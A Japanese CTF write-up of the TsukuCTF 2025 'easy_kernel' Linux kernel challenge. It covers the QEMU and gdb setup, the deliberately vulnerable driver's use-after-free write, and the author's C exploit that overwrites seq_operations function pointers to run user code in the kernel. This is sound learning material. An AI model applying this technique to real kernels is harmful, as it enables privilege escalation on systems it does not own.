./vmlinux:      ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=a2796968e9e0ced4980694addd25811e0e445b83, with debug_info, not stripped

さて、私のLinux Kernel Exploit問題の経験はCakeCTF 2022のwelkerme問題のみです。かつwelkerme問題は「攻撃手法が明確なので、ローカル環境はほぼ準備せず、静的リンクしたELFだけ用意して送り込んで実行」で済んでいました。しかし今回の問題は動作検証が必要な難易度にに思ったので、guideのサイトを文字通り先頭から読み進めて準備していきました。

環境構築、動作検証

配布ファイルの1つ、run.shは次の内容でした:

#!/bin/sh
qemu-system-x86_64 \
    -m 64M \
    -cpu qemu64 \
    -kernel bzImage \
    -drive file=rootfs.ext3,format=raw \
    -drive file=flag.txt,format=raw \
    -snapshot \
    -nographic \
    -monitor /dev/null \
    -no-reboot \
    -smp 1 \
    -append "root=/dev/sda rw init=/init console=ttyS0 nokaslr nopti loglevel=0 oops=panic panic=-1"

qemu-system-x86_64コマンドを使って、QEMU中でマシンを実行する内容です。どうやら次のオプションで、配布ファイルを紐づけているようです:

  • -kernel bzImagebzImage ファイルを紐づけ。
  • -drive file=rootfs.ext3,format=rawrootfs.ext3 ファイルを紐づけ。
  • -drive file=flag.txt,format=rawflag.txt ファイルを紐づけ。

vmlinux ファイルは上記コマンドでは使われないようです。vmlinuxのヒミツ - VA Linux エンジニアブログによると、vmlinuxファイル内容から不要箇所除去、圧縮、別ファイルとリンクしたものがbzImageのようです。そのため今回の問題では、解析補助用としてvmlinuxファイルが提供されているようです。

なおIDAでvmlinuxファイルを解析しようとすると、Program entry point (19C8F50) is not in the section headers Program headers will be used to load the missing data.警告やIllegal program entry point (19C8F50)警告が発生したり、そもそもDWARF情報の解析に数分かかったりします。Linuxカーネルの巨大さや特別具合を体感できます。

同様に、.configファイルも上記コマンドでは使われていないようです。Linuxカーネルビルド大全 #kernel - QiitaによるとLinuxカーネルのビルド時に使われるファイルとのことです。そのためやはり今回の問題では解析補助用として.configファイルが提供されているようです。

./run.sh 実行するとQEMU中でマシンが起動して、ターミナル表示がクリアされた後に次の内容が表示されました:

Boot took 2.12 seconds

[ easy_kernel - TsukuCTF 2025 ]
~ $

後は問題なくシェルとして操作できました:

~ $ whoami
ctf
~ $ id
uid=1000(ctf) gid=1000 groups=1000
~ $ uname -a
Linux (none) 6.14.2 #1 SMP PREEMPT_DYNAMIC Sat Apr 19 09:09:40 JST 2025 x86_64 GNU/Linux
~ $ cat /etc/os-release
NAME=Buildroot
VERSION=2024.02.11
ID=buildroot
VERSION_ID=2024.02.11
PRETTY_NAME="Buildroot 2024.02.11"
~ $ ls -AlF /dev/sdb
brw-------    1 root     root        8,  16 May  5 16:35 /dev/sdb
~ $ cat /dev/sdb
cat: can't open '/dev/sdb': Permission denied
~ $

起動するLinuxカーネルのバージョンは、uname -aコマンド実行結果からLinux 6.14.2と分かります。Linuxカーネルバージョン情報は、file bzImageコマンド結果からもversion 6.14.2と分かるようです。Linuxカーネルバージョンが判明したので、Linux source code (v6.14.2) - Bootlin Elixir Cross Referencerから当該バージョンの各種関数や構造体を調べられます。

なお/etc/os-release内容にあるBuildrootを調べてみると、組み込み用Linuxのディストリビューションのようです: Buildroot - Making Embedded Linux Easy

initスクリプト内容確認、編集検証

QEMU中マシンの起動時に表示される[ easy_kernel - TsukuCTF 2025 ]が、どこの処理によるのかが気になりました。カーネルexploitへの導入 | PAWNYABLE!に次の記述があります:

qemuでマシンを起動する際、Linuxカーネルとは別にルートディレクトリとしてマウントされるディスクイメージが必要です。
ディスクイメージは一般的にext等のファイルシステムの生バイナリか、cpioと呼ばれる形式で作成・配布されます。
ファイルシステムの場合はmountコマンドでマウントすれば中のファイルを編集できます。

今回の配布ファイルについて試すと、rootfs.ext3がファイルシステムの生バイナリのようで、mountできました:

$ mkdir root
$ sudo mount rootfs.ext3 root
$ ls -AlF root/
total 29
drwxr-xr-x 2 ubuntu lxd  2048 Apr 19 09:11 bin/
drwxr-xr-x 4 ubuntu lxd  1024 Feb 21 22:06 dev/
drwxr-xr-x 5 ubuntu lxd  1024 Apr 19 09:11 etc/
-rwxr-xr-x 1 ubuntu lxd   942 Apr 19 13:06 init*
drwxr-xr-x 3 ubuntu lxd  1024 Apr 19 09:11 lib/
lrwxrwxrwx 1 ubuntu lxd     3 Mar 25 11:19 lib64 -> lib/
lrwxrwxrwx 1 ubuntu lxd    11 Mar 25 12:07 linuxrc -> bin/busybox*
drwx------ 2 ubuntu lxd 12288 Apr 19 09:11 lost+found/
drwxr-xr-x 2 ubuntu lxd  1024 Feb 21 22:06 media/
drwxr-xr-x 2 ubuntu lxd  1024 Feb 21 22:06 mnt/
drwxr-xr-x 2 ubuntu lxd  1024 Feb 21 22:06 opt/
drwxr-xr-x 2 ubuntu lxd  1024 Feb 21 22:06 proc/
drwx------ 2 ubuntu lxd  1024 Apr 19 13:06 root/
drwxr-xr-x 2 ubuntu lxd  1024 Apr 19 09:11 run/
drwxr-xr-x 2 ubuntu lxd  1024 Mar 25 12:07 sbin/
drwxr-xr-x 2 ubuntu lxd  1024 Feb 21 22:06 sys/
drwxrwxrwt 2 ubuntu lxd  1024 Feb 21 22:06 tmp/
drwxr-xr-x 6 ubuntu lxd  1024 Apr 19 09:11 usr/
drwxr-xr-x 4 ubuntu lxd  1024 Apr 19 09:11 var/
$

[ easy_kernel - TsukuCTF 2025 ]表示内容を探しました:

$ sudo grep -r --fixed-string '[ easy_kernel - TsukuCTF 2025 ]' root
root/init:echo "[ easy_kernel - TsukuCTF 2025 ]"

ファイルシステムの/init中に見つかりました。/initファイル内容は次のものでした:

#!/bin/sh

if (exec 0</dev/console) 2>/dev/null; then
    exec 0</dev/console
    exec 1>/dev/console
    exec 2>/dev/console
fi

mkdir /home
echo 'root:x:0:0:root:/root:/bin/sh' > /etc/passwd
echo 'root:x:0:' > /etc/group
chmod 644 /etc/passwd
chmod 644 /etc/group

adduser ctf --disabled-password 2>/dev/null

chown -R root:root /
chmod 700 -R /root
chown ctf:root /home/ctf
chmod 777 /home/ctf
chmod 755 /dev
chmod u+s /bin/su

mount -t proc -o nodev,noexec,nosuid proc /proc
mount -t sysfs -o nodev,noexec,nosuid sysfs /sys
mount -t tmpfs -o "noexec,nosuid,size=10%,mode=0755" tmpfs /run

ln -sf /proc/mounts /etc/mtab

echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/perf_event_paranoid

insmod /root/vuln.ko
chmod 666 /dev/vuln

stty -opost

echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
echo "[ easy_kernel - TsukuCTF 2025 ]"
setsid cttyhack setuidgid 1000 sh

全体的な初期設定を行っているようです。gdbによるカーネルのデバッグ | PAWNYABLE!によると、setsid cttyhack setuidgid 1000 sh箇所の1000が、シェル起動時のユーザーIDを指定しているようです。試しに10000に書き換えて保存し、改めて./run.sh実行すると、root権限でシェルが起動しました!

Boot took 2.12 seconds

[ easy_kernel - TsukuCTF 2025 ]
~ # whoami
root
~ # id
uid=0(root) gid=0(root) groups=0(root)
~ # cat /dev/sdb
TsukuCTF25{REDACTED}
~ #

なお、どうやらrootfs.ext3マウント先でroot/initファイルを編集するだけで、rootfs.ext3ディスクイメージ用ファイル本体へ反映されるようです。sudo umount rootでのアンマウントは不要でした。ただもしも「編集しているはずなのに反映されない」ということがあれば、アンマウントするのが確実だと思います。

また、/dev/sdbファイルにフラグ内容が書き込まれていることも確認できました。当該ファイルはrootユーザーのみが読み込めるファイルであるため、何らかの方法で権限昇格する必要があります。

その他、/initファイル内容で気になって調べた部分です:

  • /proc/sys/kernel/kptr_restrict: /proc以下でのカーネルアドレスの取得可否を表します。例えば/proc/kallsymsファイル経由での取得が該当します。上記設定値の1では、CAP_SYSLOG権限を持つユーザーのみがアドレスを取得できます。proc_sys_kernel(5) - Linux manual page, gdbによるカーネルのデバッグ | PAWNYABLE!
    • 後で記述するKADRに関係します。動作検証時は0に変更しておくと役立ちます。
  • /proc/sys/kernel/dmesg_restrict: kernel syslog内容の閲覧可否を表します。例えばdmesgコマンドによる閲覧が該当します。上記設定値の1では、CAP_SYS_ADMIN権限またはCAP_SYSLOG権限を持つユーザーのみが確認できます。proc_sys_kernel(5) - Linux manual page, syslog(2) - Linux manual page
    • とりあえず動作検証時では0に変更しておくのが良さそうです。
  • /proc/sys/kernel/perf_event_paranoid: perf_events内容のアクセス可否を表します。上記設定値の1では、CAP_PERFMON権限を持つユーザーのみがいくつかのイベント種類を確認できるようです。Perf Tutorial 1
    • カーネルエクスプロイト視点の使い道が分かっていません。とはいえ念のため-1へ変更して全ユーザーから全パフォーマンスイベントへアクセスできるようにしておくと、役立つことがあるかも……?

QEMU中マシンをgdbでリモートデバッグ

Linuxカーネルのエクスプロイトというわけで、gdbでカーネルデバッグできるようにしたいです。というわけで、gdbによるカーネルのデバッグ | PAWNYABLE!で書かれている手順をなぞりました:

  1. run.shファイルで実行するqemu-system-x86_64コマンドに、-gdb tcp::12345オプションを追加します:
  2. $ diff run.sh.bak run.sh
    13c13,14
    <     -append "root=/dev/sda rw init=/init console=ttyS0 nokaslr nopti loglevel=0 oops=panic panic=-1"
    ---
    >     -append "root=/dev/sda rw init=/init console=ttyS0 nokaslr nopti loglevel=0 oops=panic panic=-1" \
    >     -gdb tcp::12345
  3. run.shを実行して、あらためてQEM中でマシンを起動します。
  4. 別のターミナルでgdbを起動して、target remote localhost:12345コマンドを実行してアタッチします:

0xffff...から始まるLinuxカーネル中のアドレスがスタックトレースにでてくることに感激しました!

なお、gdbを起動するたびにattachコマンドを入力するのは手間なので、初期実行gdbコマンド用ファイルを準備して-xオプション指定で実行していました:

$ cat gdb-debug.txt
set arch i386:x86-64:intel
target remote localhost:12345
$ gdb -q -x gdb-debug.txt

2025/05/08 04時頃追記: gdbでのカーネルデバッグ中に、シンボル情報付きのvmlinuxファイルやvuln.koファイルをadd-symbol-fileコマンドで読み込ませられます。そうすると、b do_execveのように関数名指定でブレークポイントを設置できたり、ptype/o struct credで構造体定義内容を表示できたりして便利です。なおadd-symbol-fileコマンドで指定するアドレスは.textセクションの先頭アドレスです(イメージベースと同一かも?)。

  • Linuxカーネルであるvmlinuxファイルの場合は、head -1 /proc/kallsymsコマンドで.textセクションの先頭アドレスを取得できます: セキュリティ機構 | PAWNYABLE!
  • vuln.ko等のカーネルデバイスの場合は、cat /proc/modulesコマンドで調べたアドレスが.textセクションの先頭アドレスのようです。

例えばhead -1 /proc/kallsymsコマンド結果がffffffff81000000 T srso_alias_untrain_retの場合は、次のように実行します(ret2userして0x401329へ制御を移した状況です):

(gdb) b *0x401329
Breakpoint 1 at 0x401329
(gdb) c
Continuing.

Breakpoint 1, 0x0000000000401329 in ?? ()
(gdb) bt
#0  0x0000000000401329 in ?? ()
#1  0xffffffff813f6386 in ?? ()
#2  0xffffc9000017fdc0 in ?? ()
#3  0xffffffff813bfa86 in ?? ()
#4  0xffff888002e3b840 in ?? ()
#5  0xffff888002ef4038 in ?? ()
#6  0xffff888002ef4028 in ?? ()
#7  0xffffc9000017fee0 in ?? ()
#8  0xffff888002ec10c0 in ?? ()
#9  0x0000000000000001 in ?? ()
#10 0xffffc9000017fee0 in ?? ()
#11 0x0000000000000000 in ?? ()
(gdb) add-symbol-file vmlinux 0xffffffff81000000
add symbol table from file "vmlinux" at
        .text_addr = 0xffffffff81000000
(y or n) y
Reading symbols from vmlinux...
(gdb) bt
#0  0x0000000000401329 in ?? ()
#1  0xffffffff813f6386 in seq_read_iter (iocb=iocb@entry=0xffffc9000017fe00, iter=iter@entry=0xffffc9000017fdd8) at fs/seq_file.c:225
#2  0xffffffff813f682d in seq_read (file=<optimized out>, buf=<optimized out>, size=<optimized out>, ppos=0xffffc9000017fee0) at fs/seq_file.c:162
#3  0xffffffff813c197e in vfs_read (file=file@entry=0xffff888002ec10c0, buf=buf@entry=0x7ffef409e9c8 "", count=count@entry=256, pos=pos@entry=0xffffc9000017fee0) at fs/read_write.c:563
#4  0xffffffff813c2671 in ksys_read (fd=<optimized out>, buf=0x7ffef409e9c8 "", count=256) at fs/read_write.c:708
#5  0xffffffff813c2718 in __do_sys_read (count=<optimized out>, buf=<optimized out>, fd=<optimized out>) at fs/read_write.c:717
#6  __se_sys_read (count=<optimized out>, buf=<optimized out>, fd=<optimized out>) at fs/read_write.c:715
#7  __x64_sys_read (regs=<optimized out>) at fs/read_write.c:715
#8  0xffffffff81203bdc in x64_sys_call (regs=regs@entry=0xffffc9000017ff58, nr=<optimized out>) at ./arch/x86/include/generated/asm/syscalls_64.h:1
#9  0xffffffff819b92c4 in do_syscall_x64 (nr=<optimized out>, regs=0xffffc9000017ff58) at arch/x86/entry/common.c:52
#10 do_syscall_64 (regs=0xffffc9000017ff58, nr=<optimized out>) at arch/x86/entry/common.c:83
#11 0xffffffff8100012f in entry_SYSCALL_64 () at arch/x86/entry/entry_64.S:121
#12 0x0000000000000000 in ?? ()
(gdb)

btコマンドでのスタックトレース表示内容が、シンボル追加前はアドレスのみの表示ですが、シンボル追加後は関数名や引数内容が表示されていることが分かります。

また、Warmup | P3LANDではgdb ./vmlinuxのように、GDB起動時にvmlinuxファイルを指定して込ませてシンボル情報を読み込ませる方法も紹介されています。

ビルド結果サイズ削減用のmusl-gccインストール

コンパイルとexploitの転送 | PAWNYABLE!で言及があるように、エクスプロイト用のELFファイルは静的リンクして作成する必要があります。また、作成したELFファイルを実行QEMUマシンへ転送する必要があります。転送時間削減のために作成するELFファイルのサイズを小さくしたいです。

gccビルドでは、今回作成するエクスプロイトでも700KBを超えました:

$ gcc -Os -static -o exploit exploit.cpp
$ wc -c exploit
835456 exploit
$ strip exploit
$ wc -c exploit
751648 exploit

一方で上記記事で紹介されているmusl-gccビルドでは、30KB程度となりました。gccビルド比較で約1/20と大幅に削減できました:

$ musl-gcc -Os -static -o exploit exploit.cpp
$ wc -c exploit
44440 exploit
$ strip exploit
$ wc -c exploit
34680 exploit

なお、musl-gccコマンドをインストールする際、最初は雑にsudo apt install musl musl-dev musl-toolsを試しましたが、インストールは成功したもののmusl-gccコマンドにパスが通っていない状況でした。結局、公式ページmusl libcのリンクにあるmusl - musl - an implementation of the standard library for Linux-based systemsからcloneした後、一般的なインストール方法で成功しました:

$ git clone https://git.musl-libc.org/git/musl
$ cd musl
$ ./configure
$ make
$ sudo make install

make含めて数十秒で完了して、/usr/local/musl/bin/musl-gccが生成されました。あとは絶対パスで直接実行したり、適宜PATHへ追加したりします。

エクスプロイト検証用アップロード用スクリプトの準備

エクスプロイト開発中は、次の手順を繰り返すことになります:

  1. ローカルマシンでエクスプロイト用バイナリをビルドして作成
  2. QEMU中でマシンを起動
  3. Base64エンコード等を使用して、エクスプロイト用バイナリを転送、デコード
  4. エクスプロイトを実行して動作検証、デバッグ

毎回手動で転送するのは大変なので、コンパイルとexploitの転送 | PAWNYABLE!で紹介されているようなツールがあると便利です。今回は、本問題の配布ファイルupload.pyをローカル実行用に変更したものを使用しました:

#!/usr/bin/env python3
import base64
import sys

from pwn import *

# context.log_level = "DEBUG"
conn: tube = None  # type: ignore


def run(cmd):
    global conn
    conn.sendlineafter(b"$ ", cmd.encode())
    # conn.sendlineafter(b"# ", cmd.encode())
    conn.recvline()


def main():
    global conn

    if len(sys.argv) != 2:
        log.info(f"Usage: python3 {sys.argv[0]} <PATH_TO_EXPLOIT>")
        sys.exit(0)

    conn = process("./run.sh")

    # Upload the exploit to /tmp/exploit using base64 encoding
    with open(sys.argv[1], "rb") as f:
        payload = base64.b64encode(f.read()).decode()

    run("cd /tmp")
    for i in range(0, len(payload), 512):
        chunk = payload[i : i + 512]
        log.info(f"Uploading: {i:x}/{len(payload):x}")
        run(f'echo "{chunk}" >> b64exp')

    run("base64 -d b64exp > exploit")
    run("rm b64exp")
    run("chmod +x exploit")

    conn.interactive("")


if __name__ == "__main__":
    main()

なお注意点として、conn.sendlineafter(b"$ ", cmd.encode())とある通り、シェルのプロンプトが$であることを前提にしています。/initファイルを書き換えて最初からrootユーザーとして起動する状況にしていると、シェルのプロンプトが#となるため上記アップロードのsendlineafter()箇所で受信待ちのまま止まってしまいます(数回ハマりました)。

……という内容を書いた後に、作問者様による次の書き込みを見つけました:

確かに、mountしているファイルシステム中へコピーすれば次回起動時に反映されるので、その方法が一番簡単です!

今回の問題設定の把握

これまででエクスプロイト開発やカーネルデバッグ手順を整えたので、ここからエクスプロイトを開発していきます。

カーネル保護設定の確認

セキュリティ機構 | PAWNYABLE!を見ながら、今回の問題でのカーネルの各種設定を確認しました:

  • SMEP: 無効
    • 起動コマンド側の確認: run.shファイルでのqemu-system-x86_64コマンドの-cpuオプション内容が、qemu64とのみであり、+smepがありません。
    • 実行中マシンでの確認: cat /proc/cpuinfo | grep smap実行結果が空行です。
  • SMAP: 無効
    • 起動コマンド側の確認: run.shファイルでのqemu-system-x86_64コマンドの-cpuオプション内容が、qemu64とのみであり、+smapがありません。
    • 実行中マシンでの確認: cat /proc/cpuinfo | grep smap実行結果が空行です。
  • KASLR / FGKASLR: 無効
    • 起動コマンド側の確認: run.shファイルでのqemu-system-x86_64コマンドの-appendオプション内容に、nokaslrが含まれています。
  • KPTI: 無効?
    • 起動コマンド側の確認: run.shファイルでのqemu-system-x86_64コマンドの-appendオプション内容に、noptiが含まれています。そのため無効のはずです。
    • 実行中マシンでの確認: cat /sys/devices/system/cpu/vulnerabilities/meltdown実行結果がNot affectedです。よく分かりません。Mitigation: PTIでもVulnerableでもありません。
  • KADR: 実質的に無効
    • /initファイル中でecho 1 > /proc/sys/kernel/kptr_restrict指定しています。そのためリモート環境では一応有効です。
    • 一方でローカルの動作検証用環境でecho 0 > /proc/sys/kernel/kptr_restrictやroot実行すれば各種アドレスが分かり、かつKASLRが無効であることからリモート環境等でも同一アドレスになります。そのため実質的に無効のようなものでしょう。

というわけで、本問題のカーネルは保護機構がほぼ設定されていないと分かりました。

Linuxカーネルドライバ中の脆弱性の理解

いよいよ満を持してsrc/vuln.cの内容に入ります。次の内容です:

#include <linux/fs.h>
#include <linux/miscdevice.h>
#include <linux/module.h>
#include <linux/mutex.h>
#include <linux/slab.h>
#include <linux/uaccess.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("r1ru");
MODULE_DESCRIPTION("easy_kernel - TsukuCTF 2025");

#define CMD_ALLOC   0xf000
#define CMD_WRITE   0xf001
#define CMD_FREE    0xf002

#define OBJ_SIZE    0x20

typedef struct {
    size_t size;
    char *data;
} request_t;

struct obj {
    char buf[OBJ_SIZE];
};

static struct obj *obj = NULL;
static DEFINE_MUTEX(module_lock);

static long obj_alloc(void) {
    if (obj != NULL) {
        return -1;
    }
    obj = kzalloc(sizeof(struct obj), GFP_KERNEL);
    if (obj == NULL) {
        return -1;
    }
    return 0;
}

static long obj_write(char *data, size_t size) {
    if (obj == NULL || size > OBJ_SIZE) {
        return -1;
    }
    if (copy_from_user(obj->buf, data, size) != 0) {
        return -1;
    }
    return 0;
}

static long obj_free(void) {
    kfree(obj);
    return 0;
}

static long module_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
    request_t req;
    long ret;
    if (copy_from_user(&req, (void *)arg, sizeof(req)) != 0) {
        return -1;
    }
    mutex_lock(&module_lock);
    switch(cmd) {
        case CMD_ALLOC:
            ret = obj_alloc();
            break;
        case CMD_WRITE:
            ret = obj_write(req.data, req.size);
            break;
        case CMD_FREE:
            ret = obj_free();
            break;
        default:
            ret = -1;
            break;
    }
    mutex_unlock(&module_lock);
    return ret;
}

static struct file_operations module_fops = {
    .unlocked_ioctl = module_ioctl,
};

static struct miscdevice vuln_dev = {
    .minor = MISC_DYNAMIC_MINOR,
    .name = "vuln",
    .fops = &module_fops
};

static int __init module_initialize(void) {
    if (misc_register(&vuln_dev) != 0) {
        return -1;
    }
    return 0;
}

static void __exit module_cleanup(void) {
    misc_deregister(&vuln_dev);
    mutex_destroy(&module_lock);
}

module_init(module_initialize);
module_exit(module_cleanup);

次のことが分かります:

  • miscdevice::name"vuln"に設定して、misc_register関数を呼び出しています。それにより/dev/vulnデバイス作成等が行われているようです: デバイスドライバと割り込み処理、inb()とoutb()
  • module_ioctl関数をfile_operations::unlocked_ioctlメンバーに設定しています。
  • module_ioctl関数冒頭で、sizeof(request_t)分だけargからコピーしています。
    • cmd分岐より前にコピー処理があります。そのためCMD_ALLOCCMD_FREE指定時でもrequest_tを与える必要があります。
  • cmd内容に従って、3種類のコマンドを実装しています。
  • CMD_FREEコマンド処理時では、グローバル変数objについてkfree(obj)しています。しかしobj変数内容をそのまま保持しており、NULL代入等を行っていません。そのためCMD_FREEコマンド後にCMD_WRITEコマンドを使用すると、obj->bufが元々指していた領域を書き換えられる、Use-After-Free Writeの脆弱性が存在します。

また、先述の/init初期化スクリプト中の次の行で、上記src/vuln.cビルド結果の/root/vuln.koをロードしているようです:

insmod /root/vuln.ko
chmod 666 /dev/vuln

vulnデバイスが読み込まれていることを、QEMU中実行マシンで確認しました:

~ $ cat /proc/misc
125 vuln
126 cpu_dma_latency
127 vga_arbiter
~ $ cat /proc/modules
vuln 12288 0 - Live 0xffffffffc0000000 (O)
~ $ ls -AlF /dev/vuln
crw-rw-rw-    1 root     root       10, 125 May  6 08:09 /dev/vuln
~ $

正規用法ユーザー側コード作成とgdbデバッグ確認

まずは正規用法で/dev/vulnを操作するコードを書きました:

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>
#include<fcntl.h>
#include<sys/ioctl.h>

#define CMD_ALLOC   0xf000
#define CMD_WRITE   0xf001
#define CMD_FREE    0xf002

#define OBJ_SIZE    0x20

typedef struct request_t {
    size_t size;
    char *data;
} request_t;
static_assert(sizeof(request_t) == 0x10);

int main(){
    int fd_vuln = open("/dev/vuln", O_RDWR);
    if (fd_vuln == -1){
        perror("Failed to open");
        return 1;
    }

    unsigned char req_data[OBJ_SIZE];
    memset(req_data, 'A', sizeof(req_data));
    request_t req = {
        .size = sizeof(req_data),
        .data = reinterpret_cast<char*>(req_data),
    };

    // AllocやFree時でも、内容は使われないけれども、request_tを渡す必要がある。
    if (ioctl(fd_vuln, CMD_ALLOC, &req) == -1) {
        perror("ioctl for CMD_ALLOC");
        exit(1);
    }

    if (ioctl(fd_vuln, CMD_WRITE, &req) == -1) {
        perror("ioctl for CMD_WRITE");
        exit(1);
    }

    if (ioctl(fd_vuln, CMD_FREE, &req) == -1) {
        perror("ioctl for CMD_FREE");
        exit(1);
    }

    close(fd_vuln);

    puts("Success!");
}

各種コマンド用マクロや、request_t構造体定義は、src/vuln.c内容をそのままコピペしてきています。今回の内容だと構造体メンバー間のパディングは無いはずなので、非想定パディングによるエラーは起こらないはずです。

実行してみると、1回目は正しく最後まで実行てきていることが分かります。2回目はCMD_ALLOCコマンド実行時にobjグローバル変数が非NULLであるため失敗します(このことに気付かずしばらくハマっていました):

/tmp $ ./exploit
Success!
/tmp $ ./exploit
ioctl for CMD_ALLOC: Operation not permitted
/tmp $

個人的にLinux用プログラミングに馴染みがなさすぎて、各種関数がどのヘッダーに入っているのかまだ全然分かっていません。とりあえず書いてみて、コンパイルエラーが起こったらman open等を見てヘッダーを確認して追加する、という手順で開発していました。

次にgdbによるカーネルのデバッグ | PAWNYABLE!を見ながら、カーネルデバッガーでのブレークポイントも検証しました。まずは/root/vuln.koファイルを解析するために、mount先からローカルへファイルをコピーしました。コピー後をIDAで解析して、各種関数のオフセットを得ました。なおIDAがDWARFのデバッグ情報を読み込み際にThe DWARF plugin couldn't apply all DWARF relocation entries (#3223 in section .rela.debug_info)警告が表示されたものの、問題なく読み込めたように感じます。

module_ioctl関数のアドレスを計算します:

  • vulnデバイスのイメージベース: cat /proc/modules結果から分かります。試したときは0xffffffffc0000000でした。
  • module_ioctl関数のRVA: IDAで調べると0x10と分かります(IDAの場合は適切に、各種関数が別々のRVAに存在しました)
    • なお、シンボル情報から調べると、module_ioctl関数含めて何故か複数の関数が0x10に存在する内容でした。この都合か、gdbでvuln.koのシンボル情報を読み込ませてmodule_ioctl関数でブレークさせても、btコマンドやx/1i $rip結果でmodule_cleanup関数と表示されたりしました。
$ readelf --symbols vuln.ko | grep 0000000000000010
    30: 0000000000000010    30 FUNC    LOCAL  DEFAULT    3 module_initialize
    32: 0000000000000010    26 FUNC    LOCAL  DEFAULT    5 module_cleanup
    33: 0000000000000010   307 FUNC    LOCAL  DEFAULT    1 module_ioctl
    57: 0000000000000010    26 FUNC    GLOBAL DEFAULT    5 cleanup_module
    59: 0000000000000010    30 FUNC    GLOBAL DEFAULT    3 init_module
$ objdump -d vuln.ko | grep 0000000000000010
0000000000000010 <module_ioctl>:
0000000000000010 <init_module>:
0000000000000010 <cleanup_module>:
$

これらの情報からb *(0xffffffffc0000000 + 0x10)module_ioctl関数へブレークポイントを設定して、上記動作検証用コードを実行すると、最初のioctl呼び出しであるCMD_ALLOCコマンド実行時(=0xf000)に正常にブレークしました:

UAF Writeでのseq_operations利用によるカーネル権限任意コード実行

次はUAF Writeの脆弱性を使います。Holstein v3: Use-after-Freeの悪用 | PAWNYABLE!に次の説明があります:

  • カーネル空間のプログラムは複数のプログラムにリソースが共有される
  • Heap OverflowやUse-after-Freeといった脆弱性は、カーネル空間では多くの場合ユーザー空間の同じ脆弱性よりも簡単に攻撃可能です。これはカーネルのヒープが共有されており、関数ポインタなどを持ついろんな構造体を攻撃に利用できるからです。逆に言えば、Heap BOFやUAFが起きるオブジェクトと同じサイズ帯で悪用できる構造体を見つけられなければ、exploitは困難になります。

また、Holstein v2: Heap Overflowの悪用 | PAWNYABLE!ではカーネルでの各種アロケーターが記述されています。その中のSLUBアロケーター箇所に次の説明があります:

  • SLUBアロケータは、現在デフォルトで使われているアロケータ
  • サイズ帯に応じて使われるページフレームが変わります
  • SLUBはlibcのtcacheやfastbinのように、片方向リストで解放領域を管理します。

上記の記述から考えると、vulnデバイスからkzfree関数で解放したチャンクは、Linuxカーネルのどこかで次にkmalloc(またはマクロ定義されていて最終的に同一関数呼び出しとなるkzalloc)で同一サイズのチャンクを確保する際に返されるはずです。vulnデバイスではkzalloc(sizeof(struct obj), GFP_KERNEL)で確保しており、sizeof(struct obj)0x20です。その場合はkmalloc-32が使われるようです。

kmalloc-32関係でエクスプロイトに使える構造体として、Double Fetch | PAWNYABLE!Kernel Exploitで使える構造体集 - CTFするぞで、seq_operations構造体が紹介されています。構造体定義を見ると関数ポインター4個分であり、64-bit環境では確かにサイズが0x20です: seq_file.h - include/linux/seq_file.h - Linux source code v6.14.2 - Bootlin Elixir Cross Referencer

今回の問題では、カーネル保護機構のSMEPやKPTIが無効です。そのためエクスプロイトが用意したユーザーランドにある関数のアドレスをseq_operation構造体中の関数ポインター型メンバーへ設定し、関数ポインター経由で呼び出させれば、カーネル権限で任意処理を実行できます。(今回はROP系ではないためret命令は非使用なので、今回のカーネル権限での任意処理実行方法をret2userと呼んでいいのか分かっていません。)

試行錯誤しながら、UAF Write脆弱性を使って、seq_operationsの関数ポインター4個全部を自作コード定義の関数へ置き換える処理を書きました:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>

#define CMD_ALLOC 0xf000
#define CMD_WRITE 0xf001
#define CMD_FREE 0xf002

#define OBJ_SIZE 0x20

// main先頭でアドレスを出力します
void* escalate_privilege(void)
{
    // TODO: 権限昇格用の処理を実装する
    return 0;
}

typedef struct request_t
{
    size_t size;
    char *data;
} request_t;
static_assert(sizeof(request_t) == 0x10);

int main()
{
    printf("escalate_privilege = %p\n", &escalate_privilege);
    system("cat /proc/modules");

    int fd_vuln = open("/dev/vuln", O_RDWR);
    if (fd_vuln == -1)
    {
        perror("Failed to open /dev/vuln");
        return 1;
    }

    void* (*fake_seq_operations[4])(void) = {&escalate_privilege, &escalate_privilege, &escalate_privilege, &escalate_privilege};
    static_assert(sizeof(fake_seq_operations) == OBJ_SIZE);

    request_t req = {
        .size = sizeof(fake_seq_operations),
        .data = (char *)fake_seq_operations,
    };

    // マシン起動から最初のCMD_Allocのみが成功する。
    if (ioctl(fd_vuln, CMD_ALLOC, &req) == -1)
    {
        perror("ioctl for CMD_ALLOC");
        puts("カーネル起動から最初のCMD_ALLOCのみ成功します。");
        exit(1);
    }

    if (ioctl(fd_vuln, CMD_FREE, &req) == -1)
    {
        perror("ioctl for CMD_FREE");
        exit(1);
    }

    // 同一サイズのseq_operations構造体をUAFで上書き
    // https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628#seq_operations
    int fd_stat = open("/proc/self/stat", O_RDONLY);
    if (fd_vuln == -1)
    {
        perror("Failed to open /proc/self/stat");
        return 1;
    }

    puts("UAF Writeします。ENTERキーを押してください。gdbアタッチするなら今がいいです。");
    getchar();

    if (ioctl(fd_vuln, CMD_WRITE, &req) == -1)
    {
        perror("ioctl for CMD_WRITE");
        exit(1);
    }

    puts("readします。このときにUAFによるRIP制御が発動するはずです。");
    char buffer_stat[256] = {};
    read(fd_stat, buffer_stat, sizeof(buffer_stat));
    puts("closeします。後は正常のはずです。");
    close(fd_stat);

    puts("exploit終了です。");
}

main関数冒頭でescalate_privilege関数のアドレスを出力して、そのアドレスを使ってgdbでのカーネルデバッグ側でブレークポイントを設定すると、無事にescalate_privilege関数が呼び出されていることを確認できました!

gdb側でのbtコマンドによるスタックトレース表示で、escalate_privilege関数のアドレスである0x00000000004012f9が先頭に表示されています。また、escalate_privilege関数の呼び出し元が0xffffffff813f6386とLinuxカーネル側のアドレスです。

